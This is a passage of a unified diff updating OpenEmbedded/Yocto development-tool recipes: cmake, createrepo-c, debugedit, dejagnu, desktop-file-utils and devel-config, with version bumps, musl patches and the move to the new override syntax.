@@ -1,2 +1,2 @@
-export OE_CMAKE_TOOLCHAIN_FILE="$OECORE_NATIVE_SYSROOT/usr/share/cmake/OEToolchainConfig.cmake"
+export CMAKE_TOOLCHAIN_FILE="$OECORE_NATIVE_SYSROOT/usr/share/cmake/OEToolchainConfig.cmake"
export OE_CMAKE_FIND_LIBRARY_CUSTOM_LIB_SUFFIX="`echo $OECORE_BASELIB | sed -e s/lib//`"
diff --git a/meta/recipes-devtools/cmake/cmake_3.17.3.bb b/meta/recipes-devtools/cmake/cmake_3.17.3.bb
deleted file mode 100644
index e0457677e8..0000000000
--- a/meta/recipes-devtools/cmake/cmake_3.17.3.bb
+++ /dev/null
@@ -1,53 +0,0 @@
-require cmake.inc
-
-inherit cmake
-
-DEPENDS += "curl expat zlib libarchive xz ncurses bzip2"
-
-SRC_URI_append_class-nativesdk = " \
- file://OEToolchainConfig.cmake \
- file://environment.d-cmake.sh \
- file://0001-CMakeDetermineSystem-use-oe-environment-vars-to-load.patch \
-"
-
-# Strip ${prefix} from ${docdir}, set result into docdir_stripped
-python () {
- prefix=d.getVar("prefix")
- docdir=d.getVar("docdir")
-
- if not docdir.startswith(prefix):
- bb.fatal('docdir must contain prefix as its prefix')
-
- docdir_stripped = docdir[len(prefix):]
- if len(docdir_stripped) > 0 and docdir_stripped[0] == '/':
- docdir_stripped = docdir_stripped[1:]
-
- d.setVar("docdir_stripped", docdir_stripped)
-}
-
-EXTRA_OECMAKE=" \
- -DCMAKE_DOC_DIR=${docdir_stripped}/cmake-${CMAKE_MAJOR_VERSION} \
- -DCMAKE_USE_SYSTEM_LIBRARIES=1 \
- -DCMAKE_USE_SYSTEM_LIBRARY_JSONCPP=0 \
- -DCMAKE_USE_SYSTEM_LIBRARY_LIBUV=0 \
- -DCMAKE_USE_SYSTEM_LIBRARY_LIBRHASH=0 \
- -DKWSYS_CHAR_IS_SIGNED=1 \
- -DBUILD_CursesDialog=0 \
- -DKWSYS_LFS_WORKS=1 \
-"
-
-do_install_append_class-nativesdk() {
- mkdir -p ${D}${datadir}/cmake
- install -m 644 ${WORKDIR}/OEToolchainConfig.cmake ${D}${datadir}/cmake/
-
- mkdir -p ${D}${SDKPATHNATIVE}/environment-setup.d
- install -m 644 ${WORKDIR}/environment.d-cmake.sh ${D}${SDKPATHNATIVE}/environment-setup.d/cmake.sh
-}
-
-FILES_${PN}_append_class-nativesdk = " ${SDKPATHNATIVE}"
-
-FILES_${PN} += "${datadir}/cmake-${CMAKE_MAJOR_VERSION} ${datadir}/cmake ${datadir}/aclocal"
-FILES_${PN}-doc += "${docdir}/cmake-${CMAKE_MAJOR_VERSION}"
-FILES_${PN}-dev = ""
-
-BBCLASSEXTEND = "nativesdk"
diff --git a/meta/recipes-devtools/cmake/cmake_3.28.3.bb b/meta/recipes-devtools/cmake/cmake_3.28.3.bb
new file mode 100644
index 0000000000..6a9a3266df
--- /dev/null
+++ b/meta/recipes-devtools/cmake/cmake_3.28.3.bb
@@ -0,0 +1,68 @@
+require cmake.inc
+
+inherit cmake bash-completion
+
+DEPENDS += "curl expat zlib libarchive xz ncurses bzip2"
+
+SRC_URI:append:class-nativesdk = " \
+ file://OEToolchainConfig.cmake \
+ file://SDKToolchainConfig.cmake.template \
+ file://cmake-setup.py \
+ file://environment.d-cmake.sh \
+"
+
+LICENSE:append = " & BSD-1-Clause & MIT"
+LIC_FILES_CHKSUM:append = " \
+ file://Utilities/cmjsoncpp/LICENSE;md5=5d73c165a0f9e86a1342f32d19ec5926 \
+ file://Utilities/cmlibrhash/COPYING;md5=a8c2a557a5c53b1c12cddbee98c099af \
+ file://Utilities/cmlibuv/LICENSE;md5=ad93ca1fffe931537fcf64f6fcce084d \
+"
+
+# Strip ${prefix} from ${docdir}, set result into docdir_stripped
+python () {
+ prefix=d.getVar("prefix")
+ docdir=d.getVar("docdir")
+
+ if not docdir.startswith(prefix):
+ bb.fatal('docdir must contain prefix as its prefix')
+
+ docdir_stripped = docdir[len(prefix):]
+ if len(docdir_stripped) > 0 and docdir_stripped[0] == '/':
+ docdir_stripped = docdir_stripped[1:]
+
+ d.setVar("docdir_stripped", docdir_stripped)
+}
+
+EXTRA_OECMAKE=" \
+ -DCMAKE_DOC_DIR=${docdir_stripped}/cmake-${CMAKE_MAJOR_VERSION} \
+ -DCMAKE_USE_SYSTEM_LIBRARIES=1 \
+ -DCMAKE_USE_SYSTEM_LIBRARY_JSONCPP=0 \
+ -DCMAKE_USE_SYSTEM_LIBRARY_CPPDAP=0 \
+ -DCMAKE_USE_SYSTEM_LIBRARY_LIBUV=0 \
+ -DCMAKE_USE_SYSTEM_LIBRARY_LIBRHASH=0 \
+ -DKWSYS_CHAR_IS_SIGNED=1 \
+ -DBUILD_CursesDialog=0 \
+ -DKWSYS_LFS_WORKS=1 \
+ -DCMake_ENABLE_DEBUGGER=0 \
+"
+
+do_install:append:class-nativesdk() {
+ mkdir -p ${D}${datadir}/cmake
+ install -m 644 ${WORKDIR}/OEToolchainConfig.cmake ${D}${datadir}/cmake/
+
+ mkdir -p ${D}${SDKPATHNATIVE}/environment-setup.d
+ install -m 644 ${WORKDIR}/environment.d-cmake.sh ${D}${SDKPATHNATIVE}/environment-setup.d/cmake.sh
+
+ # install cmake-setup.py to create arch-specific toolchain cmake file from template
+ install -m 0644 ${WORKDIR}/SDKToolchainConfig.cmake.template ${D}${datadir}/cmake/
+ install -d ${D}${SDKPATHNATIVE}/post-relocate-setup.d
+ install -m 0755 ${WORKDIR}/cmake-setup.py ${D}${SDKPATHNATIVE}/post-relocate-setup.d/
+}
+
+FILES:${PN}:append:class-nativesdk = " ${SDKPATHNATIVE}"
+
+FILES:${PN} += "${datadir}/cmake-${CMAKE_MAJOR_VERSION} ${datadir}/cmake ${datadir}/aclocal ${datadir}/emacs ${datadir}/vim"
+FILES:${PN}-doc += "${docdir}/cmake-${CMAKE_MAJOR_VERSION}"
+FILES:${PN}-dev = ""
+
+BBCLASSEXTEND = "nativesdk"
diff --git a/meta/recipes-devtools/createrepo-c/createrepo-c/0001-Do-not-set-PYTHON_INSTALL_DIR-by-running-python.patch b/meta/recipes-devtools/createrepo-c/createrepo-c/0001-Do-not-set-PYTHON_INSTALL_DIR-by-running-python.patch
index c0f07fe2ca..b63fe53944 100644
--- a/meta/recipes-devtools/createrepo-c/createrepo-c/0001-Do-not-set-PYTHON_INSTALL_DIR-by-running-python.patch
+++ b/meta/recipes-devtools/createrepo-c/createrepo-c/0001-Do-not-set-PYTHON_INSTALL_DIR-by-running-python.patch
@@ -1,25 +1,28 @@
-From 4644d18157296257284bedd857f4610f1037d50e Mon Sep 17 00:00:00 2001
+From 6f8f6d151b831b60f6e7892aa9294a6361353c72 Mon Sep 17 00:00:00 2001
From: Alexander Kanavin <alex.kanavin@gmail.com>
Date: Fri, 30 Dec 2016 18:31:02 +0200
Subject: [PATCH] Do not set PYTHON_INSTALL_DIR by running python
Upstream-Status: Inappropriate [oe-core specific]
Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
-
+Signed-off-by: Wang Mingyu <wangmy@fujitsu.com>
---
src/python/CMakeLists.txt | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/src/python/CMakeLists.txt b/src/python/CMakeLists.txt
-index 3d873f7..e977b2f 100644
+index a31b14d..01fd8ca 100644
--- a/src/python/CMakeLists.txt
+++ b/src/python/CMakeLists.txt
-@@ -21,7 +21,7 @@ if (NOT SKBUILD)
- endif ()
+@@ -14,7 +14,7 @@ if (NOT SKBUILD)
+ FIND_PACKAGE(PythonLibs 3 REQUIRED)
endif (NOT SKBUILD)
--EXECUTE_PROCESS(COMMAND ${PYTHON_EXECUTABLE} -c "from sys import stdout; from distutils import sysconfig; stdout.write(sysconfig.get_python_lib(True))" OUTPUT_VARIABLE PYTHON_INSTALL_DIR)
-+#EXECUTE_PROCESS(COMMAND ${PYTHON_EXECUTABLE} -c "from sys import stdout; from distutils import sysconfig; stdout.write(sysconfig.get_python_lib(True))" OUTPUT_VARIABLE PYTHON_INSTALL_DIR)
+-EXECUTE_PROCESS(COMMAND ${PYTHON_EXECUTABLE} -c "from sys import stdout; from sysconfig import get_path; stdout.write(get_path('platlib'))" OUTPUT_VARIABLE PYTHON_INSTALL_DIR)
++#EXECUTE_PROCESS(COMMAND ${PYTHON_EXECUTABLE} -c "from sys import stdout; from sysconfig import get_path; stdout.write(get_path('platlib'))" OUTPUT_VARIABLE PYTHON_INSTALL_DIR)
INCLUDE_DIRECTORIES (${PYTHON_INCLUDE_PATH})
MESSAGE(STATUS "Python install dir is ${PYTHON_INSTALL_DIR}")
+--
+2.25.1
+
diff --git a/meta/recipes-devtools/createrepo-c/createrepo-c/0001-include-rpm-rpmstring.h.patch b/meta/recipes-devtools/createrepo-c/createrepo-c/0001-include-rpm-rpmstring.h.patch
new file mode 100644
index 0000000000..b7e5710b39
--- /dev/null
+++ b/meta/recipes-devtools/createrepo-c/createrepo-c/0001-include-rpm-rpmstring.h.patch
@@ -0,0 +1,30 @@
+From eb66326c3fc6e942282d01ddd56659c78ed7400b Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Fri, 13 Jan 2023 13:21:51 -0800
+Subject: [PATCH] include rpm/rpmstring.h
+
+Its needed for rasprintf declaration
+
+Fixes
+src/xml_file.c:341:36: error: call to undeclared functi
+on 'rasprintf'; ISO C99 and later do not support implicit function declarations [-Wimplicit-function-declaration]
+
+Upstream-Status: Submitted [https://github.com/rpm-software-management/createrepo_c/pull/340]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+
+---
+ src/xml_file.c | 1 +
+ 1 file changed, 1 insertion(+)
+
+diff --git a/src/xml_file.c b/src/xml_file.c
+index d2400b8..871109c 100644
+--- a/src/xml_file.c
++++ b/src/xml_file.c
+@@ -19,6 +19,7 @@
+
+ #include <glib.h>
+ #include <glib/gstdio.h>
++#include <rpm/rpmstring.h>
+ #include <assert.h>
+ #include <rpm/rpmstring.h>
+ #include "xml_file.h"
diff --git a/meta/recipes-devtools/createrepo-c/createrepo-c_0.16.0.bb b/meta/recipes-devtools/createrepo-c/createrepo-c_0.16.0.bb
deleted file mode 100644
index c6d8963072..0000000000
--- a/meta/recipes-devtools/createrepo-c/createrepo-c_0.16.0.bb
+++ /dev/null
@@ -1,34 +0,0 @@
-DESCRIPTION = "C implementation of createrepo."
-HOMEPAGE = "https://github.com/rpm-software-management/createrepo_c/wiki"
-
-LICENSE = "GPLv2"
-LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263"
-
-SRC_URI = "git://github.com/rpm-software-management/createrepo_c \
- file://0001-Do-not-set-PYTHON_INSTALL_DIR-by-running-python.patch \
- "
-
-SRCREV = "bac48ace91c51abe37792415e75452bbabd44d93"
-
-S = "${WORKDIR}/git"
-
-DEPENDS = "expat curl glib-2.0 libxml2 openssl bzip2 zlib file sqlite3 xz rpm"
-DEPENDS_append_class-native = " file-replacement-native"
-
-inherit cmake pkgconfig bash-completion distutils3-base
-
-EXTRA_OECMAKE = " -DPYTHON_INSTALL_DIR=${PYTHON_SITEPACKAGES_DIR} -DPYTHON_DESIRED=3 -DWITH_ZCHUNK=OFF -DENABLE_DRPM=OFF -DWITH_LIBMODULEMD=OFF"
-
-BBCLASSEXTEND = "native nativesdk"
-
-# Direct createrepo to read rpm configuration from our sysroot, not the one it was compiled in
-do_install_append_class-native() {
- create_wrapper ${D}/${bindir}/createrepo_c \
- RPM_CONFIGDIR=${STAGING_LIBDIR_NATIVE}/rpm
-}
-
-do_install_append_class-nativesdk() {
- create_wrapper ${D}/${bindir}/createrepo_c \
- RPM_CONFIGDIR=${SDKPATHNATIVE}${libdir_nativesdk}/rpm
- rm -rf ${D}/etc
-}
diff --git a/meta/recipes-devtools/createrepo-c/createrepo-c_1.1.0.bb b/meta/recipes-devtools/createrepo-c/createrepo-c_1.1.0.bb
new file mode 100644
index 0000000000..1f97c99bde
--- /dev/null
+++ b/meta/recipes-devtools/createrepo-c/createrepo-c_1.1.0.bb
@@ -0,0 +1,41 @@
+SUMMARY = "C implementation of createrepo."
+HOMEPAGE = "https://github.com/rpm-software-management/createrepo_c/wiki"
+
+LICENSE = "GPL-2.0-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263"
+
+SRC_URI = "git://github.com/rpm-software-management/createrepo_c;branch=master;protocol=https \
+ file://0001-Do-not-set-PYTHON_INSTALL_DIR-by-running-python.patch \
+ file://0001-include-rpm-rpmstring.h.patch \
+ "
+
+SRCREV = "10a8a7af4f1de3f98a21a7d08fe3a46ef306d197"
+
+S = "${WORKDIR}/git"
+
+DEPENDS = "expat curl glib-2.0 libxml2 openssl bzip2 zlib file sqlite3 xz rpm"
+DEPENDS:append:class-native = " file-replacement-native"
+
+inherit cmake pkgconfig bash-completion setuptools3-base
+
+EXTRA_OECMAKE = " -DPYTHON_INSTALL_DIR=${PYTHON_SITEPACKAGES_DIR} -DPYTHON_DESIRED=3 -DWITH_ZCHUNK=OFF -DENABLE_DRPM=OFF -DWITH_LIBMODULEMD=OFF"
+
+BBCLASSEXTEND = "native nativesdk"
+
+# Direct createrepo to read rpm configuration from our sysroot, not the one it was compiled in
+do_install:append:class-native() {
+ create_wrapper ${D}/${bindir}/createrepo_c \
+ RPM_CONFIGDIR=${STAGING_LIBDIR_NATIVE}/rpm \
+ MAGIC=${STAGING_DIR_NATIVE}${datadir_native}/misc/magic.mgc
+ create_wrapper ${D}/${bindir}/modifyrepo_c \
+ MAGIC=${STAGING_DIR_NATIVE}${datadir_native}/misc/magic.mgc
+}
+
+do_install:append:class-nativesdk() {
+ create_wrapper ${D}/${bindir}/createrepo_c \
+ RPM_CONFIGDIR=${SDKPATHNATIVE}${libdir_nativesdk}/rpm \
+ MAGIC=${datadir}/misc/magic.mgc
+ create_wrapper ${D}/${bindir}/modifyrepo_c \
+ MAGIC=${datadir}/misc/magic.mgc
+ rm -rf ${D}/etc
+}
diff --git a/meta/recipes-devtools/debugedit/debugedit_5.0.bb b/meta/recipes-devtools/debugedit/debugedit_5.0.bb
new file mode 100644
index 0000000000..63ad7babd9
--- /dev/null
+++ b/meta/recipes-devtools/debugedit/debugedit_5.0.bb
@@ -0,0 +1,28 @@
+SUMMARY = "Tools for creating debuginfo and source file distributions"
+DESCRIPTION = "debugedit provides programs and scripts for creating \
+debuginfo and source file distributions, collect build-ids and rewrite \
+source paths in DWARF data for debugging, tracing and profiling."
+HOMEPAGE = "https://sourceware.org/debugedit/"
+
+LICENSE = "GPL-2.0-only & GPL-3.0-only & LGPL-2.1-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=59530bdf33659b29e73d4adb9f9f6552 \
+ file://COPYING.LIB;md5=2d5025d4aa3495befef8f17206a5b0a1 \
+ file://COPYING3;md5=d32239bcb673463ab874e80d47fae504"
+
+SRC_URI = "https://sourceware.org/ftp/debugedit/${PV}/debugedit-${PV}.tar.xz"
+
+SRC_URI:append:libc-musl = "\
+ file://0002-sepdebugcrcfix.c-do-not-use-64bit-variants.patch \
+ file://0003-Makefile.am-do-not-update-manual.patch \
+ "
+
+SRC_URI[sha256sum] = "e9ecd7d350bebae1f178ce6776ca19a648b6fe8fa22f5b3044b38d7899aa553e"
+
+DEPENDS = "elfutils"
+DEPENDS:append:libc-musl = " musl-legacy-error"
+
+inherit pkgconfig autotools
+
+RDEPENDS:${PN} += "bash elfutils-binutils"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/debugedit/files/0002-sepdebugcrcfix.c-do-not-use-64bit-variants.patch b/meta/recipes-devtools/debugedit/files/0002-sepdebugcrcfix.c-do-not-use-64bit-variants.patch
new file mode 100644
index 0000000000..4463bd2324
--- /dev/null
+++ b/meta/recipes-devtools/debugedit/files/0002-sepdebugcrcfix.c-do-not-use-64bit-variants.patch
@@ -0,0 +1,56 @@
+From 3e05bbc1f7909ab6f529e66f0d0f70fb1e60583a Mon Sep 17 00:00:00 2001
+From: Chen Qi <Qi.Chen@windriver.com>
+Date: Thu, 23 Mar 2023 11:55:53 +0800
+Subject: [PATCH 2/2] sepdebugcrcfix.c: do not use 64bit variants
+
+configure.ac checks for largefile support via AC_SYS_LARGEFILE
+already, therefore use off_t, open and lseek instead of 64bit
+variants. Musl e.g. does not define them without _LARGEFILE64_SOURCE
+and error is not seen on glibc because _GNU_SOURCE defines
+_LARGEFILE64_SOURCE.
+
+This patch is marked as inappropriate as debugedit obviously only
+wants to support glibc or some glibc compatible libcs. We can see
+this from the error() usage. And this patch is only for musl.
+
+Upstream-Status: Inappropriate [OE Specific]
+
+Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
+---
+ tools/sepdebugcrcfix.c | 6 +++---
+ 1 file changed, 3 insertions(+), 3 deletions(-)
+
+diff --git a/tools/sepdebugcrcfix.c b/tools/sepdebugcrcfix.c
+index c4a9d56..882e5f5 100644
+--- a/tools/sepdebugcrcfix.c
++++ b/tools/sepdebugcrcfix.c
+@@ -144,7 +144,7 @@ crc32 (const char *fname, const char *base_fname, uint32_t *crcp)
+ error (0, errno, _("cannot open \"%s\""), debugname);
+ return false;
+ }
+- off64_t size = lseek64 (fd, 0, SEEK_END);
++ off_t size = lseek (fd, 0, SEEK_END);
+ if (size == -1)
+ {
+ error (0, errno, _("cannot get size of \"%s\""), debugname);
+@@ -289,7 +289,7 @@ process (Elf *elf, int fd, const char *fname)
+ return true;
+ }
+ updated_count++;
+- off64_t seekto = (shdr->sh_offset + data->d_off
++ off_t seekto = (shdr->sh_offset + data->d_off
+ + (crcp - (const uint8_t *) data->d_buf));
+ uint32_t crc_targetendian = (ehdr->e_ident[EI_DATA] == ELFDATA2LSB
+ ? htole32 (crc) : htobe32 (crc));
+@@ -361,7 +361,7 @@ main (int argc, char **argv)
+ error (0, errno, _("cannot chmod \"%s\" to make sure we can read and write"), fname);
+
+ bool failed = false;
+- int fd = open64 (fname, O_RDWR);
++ int fd = open (fname, O_RDWR);
+ if (fd == -1)
+ {
+ error (0, errno, _("cannot open \"%s\""), fname);
+--
+2.17.1
+
diff --git a/meta/recipes-devtools/debugedit/files/0003-Makefile.am-do-not-update-manual.patch b/meta/recipes-devtools/debugedit/files/0003-Makefile.am-do-not-update-manual.patch
new file mode 100644
index 0000000000..de467f5365
--- /dev/null
+++ b/meta/recipes-devtools/debugedit/files/0003-Makefile.am-do-not-update-manual.patch
@@ -0,0 +1,65 @@
+From 4f0d7d2f4900ce8555e09854dc681278b7a3d9a9 Mon Sep 17 00:00:00 2001
+From: Chen Qi <Qi.Chen@windriver.com>
+Date: Thu, 23 Mar 2023 13:09:23 +0800
+Subject: [PATCH 3/3] Makefile.am: do not update manual
+
+The tarball ships these manuals, no need to re-generate them.
+We have local patches for debugedit.c and sepdebugcrcfix.c,
+this will triger re-generation of the manuals, which causes
+error of missing help2man.
+
+This is an OE specific patch. If we don't have local patches
+patching debugedit.c and sepdebugcrcfix.c, this patch is also
+not needed.
+
+Upstream-Status: Inappropriate [OE Specific]
+
+Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
+---
+ Makefile.am | 30 ------------------------------
+ 1 file changed, 30 deletions(-)
+
+diff --git a/Makefile.am b/Makefile.am
+index 98b2f20..f91deea 100644
+--- a/Makefile.am
++++ b/Makefile.am
+@@ -52,36 +52,6 @@ sepdebugcrcfix_LDADD = @LIBELF_LIBS@
+ # Manual pages are generated for dist
+ dist_man_MANS = debugedit.1 sepdebugcrcfix.1 find-debuginfo.1
+
+-# The 'case' ensures the man pages are only generated if the corresponding
+-# source script (the first prerequisite) or configure.ac (for the version)
+-# has been changed. The executable prerequisite is solely meant to force
+-# these docs to be made only after the executable has been compiled.
+-# This makes sure help2man is not normally necessary (since the generated
+-# man pages are distributed).
+-debugedit.1: tools/debugedit.c configure.ac debugedit$(EXEEXT)
+- @case '$?' in \
+- *$<* | *configure.ac* ) $(HELP2MAN) -N --output=$@ \
+- --name='debug source path manipulation tool' \
+- ./debugedit$(EXEEXT) ;; \
+- * ) : ;; \
+- esac
+-
+-sepdebugcrcfix.1: tools/sepdebugcrcfix.c configure.ac sepdebugcrcfix$(EXEEXT)
+- @case '$?' in \
+- *$<* | *configure.ac* ) $(HELP2MAN) -N --output=$@ \
+- --name='fixes CRC for separate .debug files' \
+- ./sepdebugcrcfix$(EXEEXT) ;;\
+- * ) : ;; \
+- esac
+-
+-find-debuginfo.1: $(top_srcdir)/scripts/find-debuginfo.in configure.ac find-debuginfo
+- @case '$?' in \
+- *$<* | *configure.ac* ) $(HELP2MAN) -N --output=$@ \
+- --name='finds debuginfo and processes it' \
+- ./find-debuginfo ;;\
+- * ) : ;; \
+- esac
+-
+ noinst_HEADERS= tools/ansidecl.h \
+ tools/hashtab.h \
+ tools/md5.h \
+--
+2.17.1
+
diff --git a/meta/recipes-devtools/dejagnu/dejagnu_1.6.2.bb b/meta/recipes-devtools/dejagnu/dejagnu_1.6.2.bb
deleted file mode 100644
index 10220ebc91..0000000000
--- a/meta/recipes-devtools/dejagnu/dejagnu_1.6.2.bb
+++ /dev/null
@@ -1,17 +0,0 @@
-SUMMARY = "GNU unit testing framework, written in Expect and Tcl"
-DESCRIPTION = "DejaGnu is a framework for testing other programs. Its purpose \
-is to provide a single front end for all tests."
-LICENSE = "GPLv2"
-LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504"
-SECTION = "devel"
-
-DEPENDS += "expect-native"
-
-inherit autotools
-
-SRC_URI = "${GNU_MIRROR}/${BPN}/${BP}.tar.gz"
-
-SRC_URI[md5sum] = "e1b07516533f351b3aba3423fafeffd6"
-SRC_URI[sha256sum] = "0d0671e1b45189c5fc8ade4b3b01635fb9eeab45cf54f57db23e4c4c1a17d261"
-
-BBCLASSEXTEND = "native"
diff --git a/meta/recipes-devtools/dejagnu/dejagnu_1.6.3.bb b/meta/recipes-devtools/dejagnu/dejagnu_1.6.3.bb
new file mode 100644
index 0000000000..895f6d3b36
--- /dev/null
+++ b/meta/recipes-devtools/dejagnu/dejagnu_1.6.3.bb
@@ -0,0 +1,18 @@
+SUMMARY = "GNU unit testing framework, written in Expect and Tcl"
+DESCRIPTION = "DejaGnu is a framework for testing other programs. Its purpose \
+is to provide a single front end for all tests."
+HOMEPAGE = "https://www.gnu.org/software/dejagnu/"
+LICENSE = "GPL-2.0-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504"
+SECTION = "devel"
+
+DEPENDS += "expect-native"
+RDEPENDS:${PN} = "expect"
+
+inherit autotools
+
+SRC_URI = "${GNU_MIRROR}/${BPN}/${BP}.tar.gz"
+
+SRC_URI[sha256sum] = "87daefacd7958b4a69f88c6856dbd1634261963c414079d0c371f589cd66a2e3"
+
+BBCLASSEXTEND = "native"
diff --git a/meta/recipes-devtools/desktop-file-utils/desktop-file-utils_0.26.bb b/meta/recipes-devtools/desktop-file-utils/desktop-file-utils_0.26.bb
deleted file mode 100644
index 90c265aed9..0000000000
--- a/meta/recipes-devtools/desktop-file-utils/desktop-file-utils_0.26.bb
+++ /dev/null
@@ -1,24 +0,0 @@
-SECTION = "console/utils"
-SUMMARY = "Command line utilities for working with *.desktop files"
-HOMEPAGE = "http://www.freedesktop.org/wiki/Software/desktop-file-utils"
-LICENSE = "GPLv2+"
-
-LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
- file://src/validator.c;beginline=4;endline=27;md5=281e1114ee6c486a1a0a4295986b9416"
-
-SRC_URI = "http://freedesktop.org/software/${BPN}/releases/${BP}.tar.xz"
-SRC_URI[md5sum] = "29739e005f5887cf41639b8450f3c23f"
-SRC_URI[sha256sum] = "b26dbde79ea72c8c84fb7f9d870ffd857381d049a86d25e0038c4cef4c747309"
-
-DEPENDS = "glib-2.0"
-
-inherit autotools pkgconfig
-
-EXTRA_OECONF += "ac_cv_prog_EMACS=no"
-
-BBCLASSEXTEND = "native nativesdk"
-
-do_install_append() {
- rm -rf ${D}${datadir}/emacs
-}
-
diff --git a/meta/recipes-devtools/desktop-file-utils/desktop-file-utils_0.27.bb b/meta/recipes-devtools/desktop-file-utils/desktop-file-utils_0.27.bb
new file mode 100644
index 0000000000..55c88afcc9
--- /dev/null
+++ b/meta/recipes-devtools/desktop-file-utils/desktop-file-utils_0.27.bb
@@ -0,0 +1,21 @@
+SUMMARY = "Command line utilities for working with *.desktop files"
+DESCRIPTION = "desktop-file-utils contains a few command line utilities for working with desktop entries"
+HOMEPAGE = "http://www.freedesktop.org/wiki/Software/desktop-file-utils"
+SECTION = "console/utils"
+LICENSE = "GPL-2.0-or-later"
+
+LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
+ file://src/validator.c;beginline=4;endline=27;md5=281e1114ee6c486a1a0a4295986b9416"
+
+SRC_URI = "http://freedesktop.org/software/${BPN}/releases/${BP}.tar.xz"
+SRC_URI[sha256sum] = "a0817df39ce385b6621880407c56f1f298168c040c2032cedf88d5b76affe836"
+
+DEPENDS = "glib-2.0"
+
+inherit meson pkgconfig
+
+BBCLASSEXTEND = "native nativesdk"
+
+do_install:append() {
+ rm -rf ${D}${datadir}/emacs
+}
diff --git a/meta/recipes-devtools/devel-config/distcc-config.bb b/meta/recipes-devtools/devel-config/distcc-config.bb
index 3cd661d543..698fd3585a 100644
--- a/meta/recipes-devtools/devel-config/distcc-config.bb
+++ b/meta/recipes-devtools/devel-config/distcc-config.bb
@@ -1,4 +1,5 @@
SUMMARY = "Sets up distcc for compilation on the target device"
+DESCRIPTION = "${SUMMARY}"
LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://${COREBASE}/meta/COPYING.MIT;md5=3da9cfbcb788c80a0384361b4de20420"
@@ -19,4 +20,4 @@ do_install() {
install -m 0755 distcc.sh ${D}${sysconfdir}/profile.d/
}
-RDEPENDS_${PN} = "distcc"
+RDEPENDS:${PN} = "distcc"
diff --git a/meta/recipes-devtools/devel-config/nfs-export-root.bb b/meta/recipes-devtools/devel-config/nfs-export-root.bb
index 56375a47b7..5e69962d7c 100644
--- a/meta/recipes-devtools/devel-config/nfs-export-root.bb
+++ b/meta/recipes-devtools/devel-config/nfs-export-root.bb
@@ -3,7 +3,6 @@ DESCRIPTION = "Enables NFS access from any host to the entire filesystem (for de
LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://${COREBASE}/meta/COPYING.MIT;md5=3da9cfbcb788c80a0384361b4de20420"
-PR = "r1"
SRC_URI = "file://exports"
@@ -14,4 +13,4 @@ do_install() {
install -m 0644 exports ${D}${sysconfdir}/
}
-RDEPENDS_${PN} = "packagegroup-core-nfs-server"
+RDEPENDS:${PN} = "packagegroup-core-nfs-server"
diff --git a/meta/recipes-devtools/diffstat/diffstat/0001-aclocal.m4-add-missing-header-defines.patch b/meta/recipes-devtools/diffstat/diffstat/0001-aclocal.m4-add-missing-header-defines.patch
deleted file mode 100644
index 5bd94d7de4..0000000000
--- a/meta/recipes-devtools/diffstat/diffstat/0001-aclocal.m4-add-missing-header-defines.patch
+++ /dev/null
@@ -1,24 +0,0 @@
-From 004bd80d2523f538467b5ada2623eb207b55dad7 Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Fri, 20 Dec 2019 15:44:28 +0100
-Subject: [PATCH] aclocal.m4: add missing header defines
-
-Upstream-Status: Pending
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
----
- aclocal.m4 | 5 +++++
- 1 file changed, 5 insertions(+)
-
-diff --git a/aclocal.m4 b/aclocal.m4
-index 3b19e82..c0c4acb 100644
---- a/aclocal.m4
-+++ b/aclocal.m4
-@@ -1927,3 +1927,8 @@ make an error
- fi
- fi # cf_cv_posix_visible
- ])
-+
-+AC_DEFINE([HAVE_TCGETATTR], [], [Description])
-+AC_DEFINE([HAVE_TCSETATTR], [], [Description])
-+AC_DEFINE([HAVE_TERMIOS_H], [], [Description])
-+
diff --git a/meta/recipes-devtools/diffstat/diffstat/avoid-check-user-break-cc.patch b/meta/recipes-devtools/diffstat/diffstat/avoid-check-user-break-cc.patch
index 811faa48da..46f1cfabcf 100644
--- a/meta/recipes-devtools/diffstat/diffstat/avoid-check-user-break-cc.patch
+++ b/meta/recipes-devtools/diffstat/diffstat/avoid-check-user-break-cc.patch
@@ -1,4 +1,4 @@
-From 1046593aacb74ff888a0d68c0ff89b20c4bc9ed4 Mon Sep 17 00:00:00 2001
+From 708c765ffb41ecc734316f69043583312fe444bd Mon Sep 17 00:00:00 2001
From: Kai Kang <kai.kang@windriver.com>
Date: Tue, 15 May 2018 17:17:01 +0800
Subject: [PATCH] diffstat: fix wrong evaluation of CC
@@ -18,10 +18,10 @@ Signed-off-by: Kai Kang <kai.kang@windriver.com>
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/aclocal.m4 b/aclocal.m4
-index 9281aa8..dd57b7a 100644
+index d4bd283..1b653c4 100644
--- a/aclocal.m4
+++ b/aclocal.m4
-@@ -1239,7 +1239,7 @@ CF_GCC_VERSION
+@@ -1522,7 +1522,7 @@ CF_GCC_VERSION
CF_ACVERSION_CHECK(2.52,
[AC_PROG_CC_STDC],
[CF_ANSI_CC_REQD])
diff --git a/meta/recipes-devtools/diffstat/diffstat_1.63.bb b/meta/recipes-devtools/diffstat/diffstat_1.63.bb
deleted file mode 100644
index ee0a7e7bd6..0000000000
--- a/meta/recipes-devtools/diffstat/diffstat_1.63.bb
+++ /dev/null
@@ -1,29 +0,0 @@
-SUMMARY = "Tool to produce a statistics based on a diff"
